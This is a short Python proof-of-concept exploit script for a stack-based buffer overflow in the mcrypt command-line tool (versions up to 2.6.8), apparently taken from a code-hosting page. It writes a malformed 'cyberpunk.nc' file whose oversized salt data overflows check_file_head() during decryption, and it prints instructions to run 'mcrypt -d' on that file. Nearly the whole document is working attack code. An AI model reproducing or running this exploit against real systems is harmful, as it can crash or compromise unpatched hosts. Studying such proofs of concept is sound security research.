31 lines
No EOL
775 B
Python
Executable file
31 lines
No EOL
775 B
Python
Executable file
#!/usr/bin/env python
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# mcrypt <= 2.6.8 stack-based buffer overflow poc
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# http://mcrypt.sourceforge.net/
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# (the command line tool, not the library)
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#
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# date: 2012-09-04
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# exploit author: _ishikawa
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# tested on: ubuntu 12.04.1
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# tech: it overflows in check_file_head() when decrypting .nc files with too long salt data
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#
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# shout-outs to all cryptoparty people
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import sys
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sprawl = 105
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gibson = "\x00\x6d\x03\x40\x73\x65\x72\x70\x65\x6e\x74\x00\x20\x00\x63\x62"
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gibson += "\x63\x00\x6d\x63\x72\x79\x70\x74\x2d\x73\x68\x61\x31\x00"
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gibson += chr(sprawl)
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gibson += ("A" * sprawl)
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gibson += (chr(0) * 3)
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try:
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count0 = open("cyberpunk.nc", "wb")
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count0.write(gibson)
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count0.close()
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except IOError:
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print "file error"
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sys.exit(1)
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print "now run mcrypt -d cyberpunk.nc" |